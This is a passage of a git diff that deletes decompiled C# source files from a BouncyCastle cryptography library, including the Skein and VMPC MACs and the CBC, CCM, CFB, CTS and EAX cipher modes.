mode 100644 index 66faca8..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Macs/SkeinMac.cs +++ /dev/null @@ -1,76 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Digests; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Macs; - -public class SkeinMac : IMac -{ - public const int SKEIN_256 = 256; - - public const int SKEIN_512 = 512; - - public const int SKEIN_1024 = 1024; - - private readonly SkeinEngine engine; - - public string AlgorithmName => "Skein-MAC-" + engine.BlockSize * 8 + "-" + engine.OutputSize * 8; - - public SkeinMac(int stateSizeBits, int digestSizeBits) - { - engine = new SkeinEngine(stateSizeBits, digestSizeBits); - } - - public SkeinMac(SkeinMac mac) - { - engine = new SkeinEngine(mac.engine); - } - - public void Init(ICipherParameters parameters) - { - SkeinParameters skeinParameters; - if (parameters is SkeinParameters) - { - skeinParameters = (SkeinParameters)parameters; - } - else - { - if (!(parameters is KeyParameter)) - { - throw new ArgumentException("Invalid parameter passed to Skein MAC init - " + Platform.GetTypeName(parameters)); - } - skeinParameters = new SkeinParameters.Builder().SetKey(((KeyParameter)parameters).GetKey()).Build(); - } - if (skeinParameters.GetKey() == null) - { - throw new ArgumentException("Skein MAC requires a key parameter."); - } - engine.Init(skeinParameters); - } - - public int GetMacSize() - { - return engine.OutputSize; - } - - public void Reset() - { - engine.Reset(); - } - - public void Update(byte inByte) - { - engine.Update(inByte); - } - - public void BlockUpdate(byte[] input, int inOff, int len) - { - engine.Update(input, inOff, len); - } - - public int DoFinal(byte[] output, int outOff) - { - return engine.DoFinal(output, outOff); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Macs/VmpcMac.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Macs/VmpcMac.cs deleted file mode 100644 index f163f0f..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Macs/VmpcMac.cs +++ /dev/null @@ -1,164 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; - -namespace Org.BouncyCastle.Crypto.Macs; - -public class VmpcMac : IMac -{ - private byte g; - - private byte n = 0; - - private byte[] P = null; - - private byte s = 0; - - private byte[] T; - - private byte[] workingIV; - - private byte[] workingKey; - - private byte x1; - - private byte x2; - - private byte x3; - - private byte x4; - - public virtual string AlgorithmName => "VMPC-MAC"; - - public virtual int DoFinal(byte[] output, int outOff) - { - for (int i = 1; i < 25; i++) - { - s = P[(s + P[n & 0xFF]) & 0xFF]; - x4 = P[(x4 + x3 + i) & 0xFF]; - x3 = P[(x3 + x2 + i) & 0xFF]; - x2 = P[(x2 + x1 + i) & 0xFF]; - x1 = P[(x1 + s + i) & 0xFF]; - T[g & 0x1F] = (byte)(T[g & 0x1F] ^ x1); - T[(g + 1) & 0x1F] = (byte)(T[(g + 1) & 0x1F] ^ x2); - T[(g + 2) & 0x1F] = (byte)(T[(g + 2) & 0x1F] ^ x3); - T[(g + 3) & 0x1F] = (byte)(T[(g + 3) & 0x1F] ^ x4); - g = (byte)((g + 4) & 0x1F); - byte b = P[n & 0xFF]; - P[n & 0xFF] = P[s & 0xFF]; - P[s & 0xFF] = b; - n = (byte)((n + 1) & 0xFF); - } - for (int j = 0; j < 768; j++) - { - s = P[(s + P[j & 0xFF] + T[j & 0x1F]) & 0xFF]; - byte b2 = P[j & 0xFF]; - P[j & 0xFF] = P[s & 0xFF]; - P[s & 0xFF] = b2; - } - byte[] array = new byte[20]; - for (int k = 0; k < 20; k++) - { - s = P[(s + P[k & 0xFF]) & 0xFF]; - array[k] = P[(P[P[s & 0xFF] & 0xFF] + 1) & 0xFF]; - byte b3 = P[k & 0xFF]; - P[k & 0xFF] = P[s & 0xFF]; - P[s & 0xFF] = b3; - } - Array.Copy(array, 0, output, outOff, array.Length); - Reset(); - return array.Length; - } - - public virtual int GetMacSize() - { - return 20; - } - - public virtual void Init(ICipherParameters parameters) - { - if (!(parameters is ParametersWithIV)) - { - throw new ArgumentException("VMPC-MAC Init parameters must include an IV", "parameters"); - } - ParametersWithIV parametersWithIV = (ParametersWithIV)parameters; - KeyParameter keyParameter = (KeyParameter)parametersWithIV.Parameters; - if (!(parametersWithIV.Parameters is KeyParameter)) - { - throw new ArgumentException("VMPC-MAC Init parameters must include a key", "parameters"); - } - workingIV = parametersWithIV.GetIV(); - if (workingIV == null || workingIV.Length < 1 || workingIV.Length > 768) - { - throw new ArgumentException("VMPC-MAC requires 1 to 768 bytes of IV", "parameters"); - } - workingKey = keyParameter.GetKey(); - Reset(); - } - - private void initKey(byte[] keyBytes, byte[] ivBytes) - { - s = 0; - P = new byte[256]; - for (int i = 0; i < 256; i++) - { - P[i] = (byte)i; - } - for (int j = 0; j < 768; j++) - { - s = P[(s + P[j & 0xFF] + keyBytes[j % keyBytes.Length]) & 0xFF]; - byte b = P[j & 0xFF]; - P[j & 0xFF] = P[s & 0xFF]; - P[s & 0xFF] = b; - } - for (int k = 0; k < 768; k++) - { - s = P[(s + P[k & 0xFF] + ivBytes[k % ivBytes.Length]) & 0xFF]; - byte b2 = P[k & 0xFF]; - P[k & 0xFF] = P[s & 0xFF]; - P[s & 0xFF] = b2; - } - n = 0; - } - - public virtual void Reset() - { - initKey(workingKey, workingIV); - g = (x1 = (x2 = (x3 = (x4 = (n = 0))))); - T = new byte[32]; - for (int i = 0; i < 32; i++) - { - T[i] = 0; - } - } - - public virtual void Update(byte input) - { - s = P[(s + P[n & 0xFF]) & 0xFF]; - byte b = (byte)(input ^ P[(P[P[s & 0xFF] & 0xFF] + 1) & 0xFF]); - x4 = P[(x4 + x3) & 0xFF]; - x3 = P[(x3 + x2) & 0xFF]; - x2 = P[(x2 + x1) & 0xFF]; - x1 = P[(x1 + s + b) & 0xFF]; - T[g & 0x1F] = (byte)(T[g & 0x1F] ^ x1); - T[(g + 1) & 0x1F] = (byte)(T[(g + 1) & 0x1F] ^ x2); - T[(g + 2) & 0x1F] = (byte)(T[(g + 2) & 0x1F] ^ x3); - T[(g + 3) & 0x1F] = (byte)(T[(g + 3) & 0x1F] ^ x4); - g = (byte)((g + 4) & 0x1F); - byte b2 = P[n & 0xFF]; - P[n & 0xFF] = P[s & 0xFF]; - P[s & 0xFF] = b2; - n = (byte)((n + 1) & 0xFF); - } - - public virtual void BlockUpdate(byte[] input, int inOff, int len) - { - if (inOff + len > input.Length) - { - throw new DataLengthException("input buffer too short"); - } - for (int i = 0; i < len; i++) - { - Update(input[inOff + i]); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/MaxBytesExceededException.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/MaxBytesExceededException.cs deleted file mode 100644 index 76c9381..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/MaxBytesExceededException.cs +++ /dev/null @@ -1,21 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Crypto; - -[Serializable] -public class MaxBytesExceededException : CryptoException -{ - public MaxBytesExceededException() - { - } - - public MaxBytesExceededException(string message) - : base(message) - { - } - - public MaxBytesExceededException(string message, Exception e) - : base(message, e) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/CbcBlockCipher.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/CbcBlockCipher.cs deleted file mode 100644 index 334c7cf..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/CbcBlockCipher.cs +++ /dev/null @@ -1,125 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; - -namespace Org.BouncyCastle.Crypto.Modes; - -public class CbcBlockCipher : IBlockCipher -{ - private byte[] IV; - - private byte[] cbcV; - - private byte[] cbcNextV; - - private int blockSize; - - private IBlockCipher cipher; - - private bool encrypting; - - public string AlgorithmName => cipher.AlgorithmName + "/CBC"; - - public bool IsPartialBlockOkay => false; - - public CbcBlockCipher(IBlockCipher cipher) - { - this.cipher = cipher; - blockSize = cipher.GetBlockSize(); - IV = new byte[blockSize]; - cbcV = new byte[blockSize]; - cbcNextV = new byte[blockSize]; - } - - public IBlockCipher GetUnderlyingCipher() - { - return cipher; - } - - public void Init(bool forEncryption, ICipherParameters parameters) - { - bool flag = encrypting; - encrypting = forEncryption; - if (parameters is ParametersWithIV) - { - ParametersWithIV parametersWithIV = (ParametersWithIV)parameters; - byte[] iV = parametersWithIV.GetIV(); - if (iV.Length != blockSize) - { - throw new ArgumentException("initialisation vector must be the same length as block size"); - } - Array.Copy(iV, 0, IV, 0, iV.Length); - parameters = parametersWithIV.Parameters; - } - Reset(); - if (parameters != null) - { - cipher.Init(encrypting, parameters); - } - else if (flag != encrypting) - { - throw new ArgumentException("cannot change encrypting state without providing key."); - } - } - - public int GetBlockSize() - { - return cipher.GetBlockSize(); - } - - public int ProcessBlock(byte[] input, int inOff, byte[] output, int outOff) - { - if (!encrypting) - { - return DecryptBlock(input, inOff, output, outOff); - } - return EncryptBlock(input, inOff, output, outOff); - } - - public void Reset() - { - Array.Copy(IV, 0, cbcV, 0, IV.Length); - Array.Clear(cbcNextV, 0, cbcNextV.Length); - cipher.Reset(); - } - - private int EncryptBlock(byte[] input, int inOff, byte[] outBytes, int outOff) - { - if (inOff + blockSize > input.Length) - { - throw new DataLengthException("input buffer too short"); - } - for (int i = 0; i < blockSize; i++) - { - byte[] array2; - byte[] array = (array2 = cbcV); - int num = i; - nint num2 = num; - array[num] = (byte)(array2[num2] ^ input[inOff + i]); - } - int result = cipher.ProcessBlock(cbcV, 0, outBytes, outOff); - Array.Copy(outBytes, outOff, cbcV, 0, cbcV.Length); - return result; - } - - private int DecryptBlock(byte[] input, int inOff, byte[] outBytes, int outOff) - { - if (inOff + blockSize > input.Length) - { - throw new DataLengthException("input buffer too short"); - } - Array.Copy(input, inOff, cbcNextV, 0, blockSize); - int result = cipher.ProcessBlock(input, inOff, outBytes, outOff); - for (int i = 0; i < blockSize; i++) - { - byte[] array2; - byte[] array = (array2 = outBytes); - int num = outOff + i; - nint num2 = num; - array[num] = (byte)(array2[num2] ^ cbcV[i]); - } - byte[] array3 = cbcV; - cbcV = cbcNextV; - cbcNextV = array3; - return result; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/CcmBlockCipher.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/CcmBlockCipher.cs deleted file mode 100644 index b4d97f2..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/CcmBlockCipher.cs +++ /dev/null @@ -1,319 +0,0 @@ -using System; -using System.IO; -using Org.BouncyCastle.Crypto.Macs; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Modes; - -public class CcmBlockCipher : IAeadBlockCipher -{ - private static readonly int BlockSize = 16; - - private readonly IBlockCipher cipher; - - private readonly byte[] macBlock; - - private bool forEncryption; - - private byte[] nonce; - - private byte[] initialAssociatedText; - - private int macSize; - - private ICipherParameters keyParam; - - private readonly MemoryStream associatedText = new MemoryStream(); - - private readonly MemoryStream data = new MemoryStream(); - - public virtual string AlgorithmName => cipher.AlgorithmName + "/CCM"; - - public CcmBlockCipher(IBlockCipher cipher) - { - this.cipher = cipher; - macBlock = new byte[BlockSize]; - if (cipher.GetBlockSize() != BlockSize) - { - throw new ArgumentException("cipher required with a block size of " + BlockSize + "."); - } - } - - public virtual IBlockCipher GetUnderlyingCipher() - { - return cipher; - } - - public virtual void Init(bool forEncryption, ICipherParameters parameters) - { - this.forEncryption = forEncryption; - ICipherParameters cipherParameters; - if (parameters is AeadParameters) - { - AeadParameters aeadParameters = (AeadParameters)parameters; - nonce = aeadParameters.GetNonce(); - initialAssociatedText = aeadParameters.GetAssociatedText(); - macSize = aeadParameters.MacSize / 8; - cipherParameters = aeadParameters.Key; - } - else - { - if (!(parameters is ParametersWithIV)) - { - throw new ArgumentException("invalid parameters passed to CCM"); - } - ParametersWithIV parametersWithIV = (ParametersWithIV)parameters; - nonce = parametersWithIV.GetIV(); - initialAssociatedText = null; - macSize = macBlock.Length / 2; - cipherParameters = parametersWithIV.Parameters; - } - if (cipherParameters != null) - { - keyParam = cipherParameters; - } - if (nonce == null || nonce.Length < 7 || nonce.Length > 13) - { - throw new ArgumentException("nonce must have length from 7 to 13 octets"); - } - Reset(); - } - - public virtual int GetBlockSize() - { - return cipher.GetBlockSize(); - } - - public virtual void ProcessAadByte(byte input) - { - associatedText.WriteByte(input); - } - - public virtual void ProcessAadBytes(byte[] inBytes, int inOff, int len) - { - associatedText.Write(inBytes, inOff, len); - } - - public virtual int ProcessByte(byte input, byte[] outBytes, int outOff) - { - data.WriteByte(input); - return 0; - } - - public virtual int ProcessBytes(byte[] inBytes, int inOff, int inLen, byte[] outBytes, int outOff) - { - Check.DataLength(inBytes, inOff, inLen, "Input buffer too short"); - data.Write(inBytes, inOff, inLen); - return 0; - } - - public virtual int DoFinal(byte[] outBytes, int outOff) - { - byte[] buffer = data.GetBuffer(); - int inLen = (int)data.Position; - int result = ProcessPacket(buffer, 0, inLen, outBytes, outOff); - Reset(); - return result; - } - - public virtual void Reset() - { - cipher.Reset(); - associatedText.SetLength(0L); - data.SetLength(0L); - } - - public virtual byte[] GetMac() - { - return Arrays.CopyOfRange(macBlock, 0, macSize); - } - - public virtual int GetUpdateOutputSize(int len) - { - return 0; - } - - public virtual int GetOutputSize(int len) - { - int num = (int)data.Length + len; - if (forEncryption) - { - return num + macSize; - } - if (num >= macSize) - { - return num - macSize; - } - return 0; - } - - public virtual byte[] ProcessPacket(byte[] input, int inOff, int inLen) - { - byte[] array; - if (forEncryption) - { - array = new byte[inLen + macSize]; - } - else - { - if (inLen < macSize) - { - throw new InvalidCipherTextException("data too short"); - } - array = new byte[inLen - macSize]; - } - ProcessPacket(input, inOff, inLen, array, 0); - return array; - } - - public virtual int ProcessPacket(byte[] input, int inOff, int inLen, byte[] output, int outOff) - { - if (keyParam == null) - { - throw new InvalidOperationException("CCM cipher unitialized."); - } - int num = nonce.Length; - int num2 = 15 - num; - if (num2 < 4) - { - int num3 = 1 << 8 * num2; - if (inLen >= num3) - { - throw new InvalidOperationException("CCM packet too large for choice of q."); - } - } - byte[] array = new byte[BlockSize]; - array[0] = (byte)((num2 - 1) & 7); - nonce.CopyTo(array, 1); - IBlockCipher blockCipher = new SicBlockCipher(cipher); - blockCipher.Init(forEncryption, new ParametersWithIV(keyParam, array)); - int i = inOff; - int num4 = outOff; - int num5; - if (forEncryption) - { - num5 = inLen + macSize; - Check.OutputLength(output, outOff, num5, "Output buffer too short."); - CalculateMac(input, inOff, inLen, macBlock); - byte[] array2 = new byte[BlockSize]; - blockCipher.ProcessBlock(macBlock, 0, array2, 0); - for (; i < inOff + inLen - BlockSize; i += BlockSize) - { - blockCipher.ProcessBlock(input, i, output, num4); - num4 += BlockSize; - } - byte[] array3 = new byte[BlockSize]; - Array.Copy(input, i, array3, 0, inLen + inOff - i); - blockCipher.ProcessBlock(array3, 0, array3, 0); - Array.Copy(array3, 0, output, num4, inLen + inOff - i); - Array.Copy(array2, 0, output, outOff + inLen, macSize); - } - else - { - if (inLen < macSize) - { - throw new InvalidCipherTextException("data too short"); - } - num5 = inLen - macSize; - Check.OutputLength(output, outOff, num5, "Output buffer too short."); - Array.Copy(input, inOff + num5, macBlock, 0, macSize); - blockCipher.ProcessBlock(macBlock, 0, macBlock, 0); - for (int j = macSize; j != macBlock.Length; j++) - { - macBlock[j] = 0; - } - for (; i < inOff + num5 - BlockSize; i += BlockSize) - { - blockCipher.ProcessBlock(input, i, output, num4); - num4 += BlockSize; - } - byte[] array4 = new byte[BlockSize]; - Array.Copy(input, i, array4, 0, num5 - (i - inOff)); - blockCipher.ProcessBlock(array4, 0, array4, 0); - Array.Copy(array4, 0, output, num4, num5 - (i - inOff)); - byte[] b = new byte[BlockSize]; - CalculateMac(output, outOff, num5, b); - if (!Arrays.ConstantTimeAreEqual(macBlock, b)) - { - throw new InvalidCipherTextException("mac check in CCM failed"); - } - } - return num5; - } - - private int CalculateMac(byte[] data, int dataOff, int dataLen, byte[] macBlock) - { - IMac mac = new CbcBlockCipherMac(cipher, macSize * 8); - mac.Init(keyParam); - byte[] array = new byte[16]; - byte[] array2; - if (HasAssociatedText()) - { - (array2 = array)[0] = (byte)(array2[0] | 0x40); - } - (array2 = array)[0] = (byte)(array2[0] | (byte)((((mac.GetMacSize() - 2) / 2) & 7) << 3)); - (array2 = array)[0] = (byte)(array2[0] | (byte)((15 - nonce.Length - 1) & 7)); - Array.Copy(nonce, 0, array, 1, nonce.Length); - int num = dataLen; - int num2 = 1; - while (num > 0) - { - array[^num2] = (byte)(num & 0xFF); - num >>= 8; - num2++; - } - mac.BlockUpdate(array, 0, array.Length); - if (HasAssociatedText()) - { - int associatedTextLength = GetAssociatedTextLength(); - int num3; - if (associatedTextLength < 65280) - { - mac.Update((byte)(associatedTextLength >> 8)); - mac.Update((byte)associatedTextLength); - num3 = 2; - } - else - { - mac.Update(byte.MaxValue); - mac.Update(254); - mac.Update((byte)(associatedTextLength >> 24)); - mac.Update((byte)(associatedTextLength >> 16)); - mac.Update((byte)(associatedTextLength >> 8)); - mac.Update((byte)associatedTextLength); - num3 = 6; - } - if (initialAssociatedText != null) - { - mac.BlockUpdate(initialAssociatedText, 0, initialAssociatedText.Length); - } - if (associatedText.Position > 0) - { - byte[] buffer = associatedText.GetBuffer(); - int len = (int)associatedText.Position; - mac.BlockUpdate(buffer, 0, len); - } - num3 = (num3 + associatedTextLength) % 16; - if (num3 != 0) - { - for (int i = num3; i < 16; i++) - { - mac.Update(0); - } - } - } - mac.BlockUpdate(data, dataOff, dataLen); - return mac.DoFinal(macBlock, 0); - } - - private int GetAssociatedTextLength() - { - return (int)associatedText.Length + ((initialAssociatedText != null) ? initialAssociatedText.Length : 0); - } - - private bool HasAssociatedText() - { - return GetAssociatedTextLength() > 0; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/CfbBlockCipher.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/CfbBlockCipher.cs deleted file mode 100644 index 3809c55..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/CfbBlockCipher.cs +++ /dev/null @@ -1,116 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; - -namespace Org.BouncyCastle.Crypto.Modes; - -public class CfbBlockCipher : IBlockCipher -{ - private byte[] IV; - - private byte[] cfbV; - - private byte[] cfbOutV; - - private bool encrypting; - - private readonly int blockSize; - - private readonly IBlockCipher cipher; - - public string AlgorithmName => cipher.AlgorithmName + "/CFB" + blockSize * 8; - - public bool IsPartialBlockOkay => true; - - public CfbBlockCipher(IBlockCipher cipher, int bitBlockSize) - { - this.cipher = cipher; - blockSize = bitBlockSize / 8; - IV = new byte[cipher.GetBlockSize()]; - cfbV = new byte[cipher.GetBlockSize()]; - cfbOutV = new byte[cipher.GetBlockSize()]; - } - - public IBlockCipher GetUnderlyingCipher() - { - return cipher; - } - - public void Init(bool forEncryption, ICipherParameters parameters) - { - encrypting = forEncryption; - if (parameters is ParametersWithIV) - { - ParametersWithIV parametersWithIV = (ParametersWithIV)parameters; - byte[] iV = parametersWithIV.GetIV(); - int num = IV.Length - iV.Length; - Array.Copy(iV, 0, IV, num, iV.Length); - Array.Clear(IV, 0, num); - parameters = parametersWithIV.Parameters; - } - Reset(); - if (parameters != null) - { - cipher.Init(forEncryption: true, parameters); - } - } - - public int GetBlockSize() - { - return blockSize; - } - - public int ProcessBlock(byte[] input, int inOff, byte[] output, int outOff) - { - if (!encrypting) - { - return DecryptBlock(input, inOff, output, outOff); - } - return EncryptBlock(input, inOff, output, outOff); - } - - public int EncryptBlock(byte[] input, int inOff, byte[] outBytes, int outOff) - { - if (inOff + blockSize > input.Length) - { - throw new DataLengthException("input buffer too short"); - } - if (outOff + blockSize > outBytes.Length) - { - throw new DataLengthException("output buffer too short"); - } - cipher.ProcessBlock(cfbV, 0, cfbOutV, 0); - for (int i = 0; i < blockSize; i++) - { - outBytes[outOff + i] = (byte)(cfbOutV[i] ^ input[inOff + i]); - } - Array.Copy(cfbV, blockSize, cfbV, 0, cfbV.Length - blockSize); - Array.Copy(outBytes, outOff, cfbV, cfbV.Length - blockSize, blockSize); - return blockSize; - } - - public int DecryptBlock(byte[] input, int inOff, byte[] outBytes, int outOff) - { - if (inOff + blockSize > input.Length) - { - throw new DataLengthException("input buffer too short"); - } - if (outOff + blockSize > outBytes.Length) - { - throw new DataLengthException("output buffer too short"); - } - cipher.ProcessBlock(cfbV, 0, cfbOutV, 0); - Array.Copy(cfbV, blockSize, cfbV, 0, cfbV.Length - blockSize); - Array.Copy(input, inOff, cfbV, cfbV.Length - blockSize, blockSize); - for (int i = 0; i < blockSize; i++) - { - outBytes[outOff + i] = (byte)(cfbOutV[i] ^ input[inOff + i]); - } - return blockSize; - } - - public void Reset() - { - Array.Copy(IV, 0, cfbV, 0, IV.Length); - cipher.Reset(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/CtsBlockCipher.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/CtsBlockCipher.cs deleted file mode 100644 index 2775071..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/CtsBlockCipher.cs +++ /dev/null @@ -1,135 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Crypto.Modes; - -public class CtsBlockCipher : BufferedBlockCipher -{ - private readonly int blockSize; - - public CtsBlockCipher(IBlockCipher cipher) - { - if (cipher is OfbBlockCipher || cipher is CfbBlockCipher) - { - throw new ArgumentException("CtsBlockCipher can only accept ECB, or CBC ciphers"); - } - base.cipher = cipher; - blockSize = cipher.GetBlockSize(); - buf = new byte[blockSize * 2]; - bufOff = 0; - } - - public override int GetUpdateOutputSize(int length) - { - int num = length + bufOff; - int num2 = num % buf.Length; - if (num2 == 0) - { - return num - buf.Length; - } - return num - num2; - } - - public override int GetOutputSize(int length) - { - return length + bufOff; - } - - public override int ProcessByte(byte input, byte[] output, int outOff) - { - int result = 0; - if (bufOff == buf.Length) - { - result = cipher.ProcessBlock(buf, 0, output, outOff); - Array.Copy(buf, blockSize, buf, 0, blockSize); - bufOff = blockSize; - } - buf[bufOff++] = input; - return result; - } - - public override int ProcessBytes(byte[] input, int inOff, int length, byte[] output, int outOff) - { - if (length < 0) - { - throw new ArgumentException("Can't have a negative input outLength!"); - } - int num = GetBlockSize(); - int updateOutputSize = GetUpdateOutputSize(length); - if (updateOutputSize > 0 && outOff + updateOutputSize > output.Length) - { - throw new DataLengthException("output buffer too short"); - } - int num2 = 0; - int num3 = buf.Length - bufOff; - if (length > num3) - { - Array.Copy(input, inOff, buf, bufOff, num3); - num2 += cipher.ProcessBlock(buf, 0, output, outOff); - Array.Copy(buf, num, buf, 0, num); - bufOff = num; - length -= num3; - inOff += num3; - while (length > num) - { - Array.Copy(input, inOff, buf, bufOff, num); - num2 += cipher.ProcessBlock(buf, 0, output, outOff + num2); - Array.Copy(buf, num, buf, 0, num); - length -= num; - inOff += num; - } - } - Array.Copy(input, inOff, buf, bufOff, length); - bufOff += length; - return num2; - } - - public override int DoFinal(byte[] output, int outOff) - { - if (bufOff + outOff > output.Length) - { - throw new DataLengthException("output buffer too small in doFinal"); - } - int num = cipher.GetBlockSize(); - int length = bufOff - num; - byte[] array = new byte[num]; - if (forEncryption) - { - cipher.ProcessBlock(buf, 0, array, 0); - if (bufOff < num) - { - throw new DataLengthException("need at least one block of input for CTS"); - } - for (int i = bufOff; i != buf.Length; i++) - { - buf[i] = array[i - num]; - } - for (int j = num; j != bufOff; j++) - { - byte[] array3; - byte[] array2 = (array3 = buf); - int num2 = j; - nint num3 = num2; - array2[num2] = (byte)(array3[num3] ^ array[j - num]); - } - IBlockCipher blockCipher = ((cipher is CbcBlockCipher) ? ((CbcBlockCipher)cipher).GetUnderlyingCipher() : cipher); - blockCipher.ProcessBlock(buf, num, output, outOff); - Array.Copy(array, 0, output, outOff + num, length); - } - else - { - byte[] array4 = new byte[num]; - IBlockCipher blockCipher2 = ((cipher is CbcBlockCipher) ? ((CbcBlockCipher)cipher).GetUnderlyingCipher() : cipher); - blockCipher2.ProcessBlock(buf, 0, array, 0); - for (int k = num; k != bufOff; k++) - { - array4[k - num] = (byte)(array[k - num] ^ buf[k]); - } - Array.Copy(buf, num, array, 0, length); - cipher.ProcessBlock(array, 0, output, outOff); - Array.Copy(array4, 0, output, outOff + num, length); - } - int result = bufOff; - Reset(); - return result; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/EaxBlockCipher.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/EaxBlockCipher.cs deleted file mode 100644 index 97cf158..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/EaxBlockCipher.cs +++ /dev/null @@ -1,289 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Macs; -using Org.BouncyCastle.Crypto.Parameters; - -namespace Org.BouncyCastle.Crypto.Modes; - -public class EaxBlockCipher : IAeadBlockCipher -{ - private enum Tag : byte - { - N, - H, - C - } - - private SicBlockCipher cipher; - - private bool forEncryption; - - private int blockSize; - - private IMac mac; - - private byte[] nonceMac; - - private byte[] associatedTextMac; - - private byte[] macBlock; - - private int macSize; - - private byte[] bufBlock; - - private int bufOff; - - private bool cipherInitialized; - - private byte[] initialAssociatedText; - - public virtual string AlgorithmName => cipher.GetUnderlyingCipher().AlgorithmName + "/EAX"; - - public EaxBlockCipher(IBlockCipher cipher) - { - blockSize = cipher.GetBlockSize(); - mac = new CMac(cipher); - macBlock = new byte[blockSize]; - associatedTextMac = new byte[mac.GetMacSize()]; - nonceMac = new byte[mac.GetMacSize()]; - this.cipher = new SicBlockCipher(cipher); - } - - public virtual IBlockCipher GetUnderlyingCipher() - { - return cipher; - } - - public virtual int GetBlockSize() - { - return cipher.GetBlockSize(); - } - - public virtual void Init(bool forEncryption, ICipherParameters parameters) - { - this.forEncryption = forEncryption; - byte[] array; - ICipherParameters parameters2; - if (parameters is AeadParameters) - { - AeadParameters aeadParameters = (AeadParameters)parameters; - array = aeadParameters.GetNonce(); - initialAssociatedText = aeadParameters.GetAssociatedText(); - macSize = aeadParameters.MacSize / 8; - parameters2 = aeadParameters.Key; - } - else - { - if (!(parameters is ParametersWithIV)) - { - throw new ArgumentException("invalid parameters passed to EAX"); - } - ParametersWithIV parametersWithIV = (ParametersWithIV)parameters; - array = parametersWithIV.GetIV(); - initialAssociatedText = null; - macSize = mac.GetMacSize() / 2; - parameters2 = parametersWithIV.Parameters; - } - bufBlock = new byte[forEncryption ? blockSize : (blockSize + macSize)]; - byte[] array2 = new byte[blockSize]; - mac.Init(parameters2); - array2[blockSize - 1] = 0; - mac.BlockUpdate(array2, 0, blockSize); - mac.BlockUpdate(array, 0, array.Length); - mac.DoFinal(nonceMac, 0); - cipher.Init(forEncryption: true, new ParametersWithIV(null, nonceMac)); - Reset(); - } - - private void InitCipher() - { - if (!cipherInitialized) - { - cipherInitialized = true; - mac.DoFinal(associatedTextMac, 0); - byte[] array = new byte[blockSize]; - array[blockSize - 1] = 2; - mac.BlockUpdate(array, 0, blockSize); - } - } - - private void CalculateMac() - { - byte[] array = new byte[blockSize]; - mac.DoFinal(array, 0); - for (int i = 0; i < macBlock.Length; i++) - { - macBlock[i] = (byte)(nonceMac[i] ^ associatedTextMac[i] ^ array[i]); - } - } - - public virtual void Reset() - { - Reset(clearMac: true); - } - - private void Reset(bool clearMac) - { - cipher.Reset(); - mac.Reset(); - bufOff = 0; - Array.Clear(bufBlock, 0, bufBlock.Length); - if (clearMac) - { - Array.Clear(macBlock, 0, macBlock.Length); - } - byte[] array = new byte[blockSize]; - array[blockSize - 1] = 1; - mac.BlockUpdate(array, 0, blockSize); - cipherInitialized = false; - if (initialAssociatedText != null) - { - ProcessAadBytes(initialAssociatedText, 0, initialAssociatedText.Length); - } - } - - public virtual void ProcessAadByte(byte input) - { - if (cipherInitialized) - { - throw new InvalidOperationException("AAD data cannot be added after encryption/decryption processing has begun."); - } - mac.Update(input); - } - - public virtual void ProcessAadBytes(byte[] inBytes, int inOff, int len) - { - if (cipherInitialized) - { - throw new InvalidOperationException("AAD data cannot be added after encryption/decryption processing has begun."); - } - mac.BlockUpdate(inBytes, inOff, len); - } - - public virtual int ProcessByte(byte input, byte[] outBytes, int outOff) - { - InitCipher(); - return Process(input, outBytes, outOff); - } - - public virtual int ProcessBytes(byte[] inBytes, int inOff, int len, byte[] outBytes, int outOff) - { - InitCipher(); - int num = 0; - for (int i = 0; i != len; i++) - { - num += Process(inBytes[inOff + i], outBytes, outOff + num); - } - return num; - } - - public virtual int DoFinal(byte[] outBytes, int outOff) - { - InitCipher(); - int num = bufOff; - byte[] array = new byte[bufBlock.Length]; - bufOff = 0; - if (forEncryption) - { - Check.OutputLength(outBytes, outOff, num + macSize, "Output buffer too short"); - cipher.ProcessBlock(bufBlock, 0, array, 0); - Array.Copy(array, 0, outBytes, outOff, num); - mac.BlockUpdate(array, 0, num); - CalculateMac(); - Array.Copy(macBlock, 0, outBytes, outOff + num, macSize); - Reset(clearMac: false); - return num + macSize; - } - if (num < macSize) - { - throw new 